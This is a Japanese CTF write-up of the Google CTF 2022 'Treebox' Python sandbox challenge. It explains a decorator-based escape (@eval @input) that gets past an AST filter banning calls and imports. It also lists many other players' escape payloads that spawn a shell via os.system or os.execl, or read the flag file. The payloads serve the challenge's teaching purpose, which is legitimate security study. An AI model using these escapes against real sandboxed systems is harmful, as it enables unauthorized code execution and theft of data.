Google CTF 2022: Treebox (sandbox)
問題文
I think I finally got Python sandboxing right.
treebox.2022.ctfcompetition.com 1337
問題概要
「compile関数をmode='exec'かつflags=ast.PyCF_ONLY_STとして実行してコードから抽象構文木を作ったとき、ast.Import,ast.ImportFrom,ast.Callが含まれていない」 つまりモジュールのインポートと関数の実行ができない。
解法
とりあえず、print(1)を入力してみると当たり前だがast.Callの条件に引っかかってBAN。
ast.dump関数で色々表示できることがわかったので、それを使いながら実験した。
考えて駄目だったこと
lambda式
結局括弧使うから駄目……となったが終了後に他のプレイヤーの解法でデコレータにおける関数定義の省略という用途だが使っているものはあった(後述)。
@propertyで定義できるプロパティなら括弧使わない
そのプロパティの定義で結局括弧を使うから駄目。
パーサーを騙す
そもそもこのパーサーを元に実行するから駄目。
Python Sandbox(というかPython)についての知識が足りていないと感じて色々調査していくと、デコレータを使うと関数のコールと判定されるのを回避できそうだとわかった。
最終的に次のペイロードを送った。
code:payload.txt(py)
@eval
@input
def f():
pass
--END
print(open("flag").read())
--ENDより上のソースコードはeval(input(f))が実行されることにほぼ等しい。
つまりfの情報が出力された後、入力が求められるが、ここで任意コード実行ができてprint(open("flag").read())を送るとフラグが得られる。
(evalはexecでも良い)
Flag: CTF{CzeresniaTopolaForsycja}
関連ページ
余談
ast.dump関数でソースコード部がどう解釈されるのか見てみると、
code:py
Module(body=[FunctionDef(name='f', args=arguments(posonlyargs=[], args=[], kwonlyargs=[], kw_defaults=[], defaults=[]), body=Pass(), decorator_list=Name(id='eval', ctx=Load()), Name(id='input', ctx=Load()))], type_ignores=[]) FunctionDef(name='f', args=arguments(posonlyargs=[], args=[], kwonlyargs=[], kw_defaults=[], defaults=[]), body=Pass(), decorator_list=Name(id='eval', ctx=Load()), Name(id='input', ctx=Load())) となっていて、decorator_listにevalとinputが格納されていた。
他にもたくさんの他者の解法を見つけた。色々とまとめる(WIP)。
※ 以下、特に引用がないものはGoogle CTFの公式Discordに上がっていたものを一部改変したもの(各々の引用元は省略)。
デコレータの対象が関数じゃなくてクラスのもの
code:py
@exec
@input
class X: pass
標準出力のフラッシュをブレークポイントのフックにする
code:txt(py)
sys.stdout.flush=sys.breakpointhook
--END
open("flag").read()
メタクラスで__instancecheck__ = os.system
code:py
class A(type):
__instancecheck__ = os.system
class B(metaclass=A):
pass
match "/bin/sh":
case B():
pass
PEP 634で定義されているように(参考)、パターンがclass_patternである場合、isinstance関数を使ってチェックが行われる。 __instancecheck__(self, instance)をos.system(command)で置き換えてmatch文と組み合わせればos.system("/bin/sh")を実行できる。
メタクラスで__getitem__ = os.system
code:py
class A(type):
__getitem__ = os.system
class B(metaclass=A):
pass
__getitem__(self, key)
lambda関数
code:py
@eval
@lambda x: x.x
class x:
x = "os.system('cat flag')"
code:py
@os.system
@lambda _: 'sh'
class _: pass
code:py
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__"license" a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
code:py
filename_arg = lambda x: "flag"
read_fn = lambda x: x.read
@read_fn
@open
@filename_arg
def get_read_fn():
pass
number_arg = lambda x: 1000
@print
@get_read_fn
@number_arg
def print_read_fn():
pass
code:py
license._Printer__filenames = "flag" license._Printer__lines = False
class Esc(Exception): __init__ = license
raise Esc
code:py
class A(BaseException):
def __init__(self):
self.__class__.__add__ = os.system
def __str__(self):
return self + "cat flag"
raise A
code:py
tree.__class__.__str__=breakpoint
f"{tree}"
code:py
class Exploit(BaseException):
pass
Exploit.__eq__ = open
Exploit.__gt__ = print
try:
raise Exploit
except Exploit as exploit:
a = exploit == "flag"
Exploit.__lt__ = a.read
b = exploit < None
exploit > b
code:py
@eval
@'__import__("os").system("sh")'.format
class _: pass
__import__の書き換え + エラー発生によるインポート
code:py
class X:
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]でエラーが起きるとき__import__が呼ばれる。エラーはなんでも良いはず。
os.environで環境変数を追加するときos.putenvが呼ばれる
code:py
os.putenv = os.execl
os.putenv(key, value), os.execl(path, arg0, arg1, ...)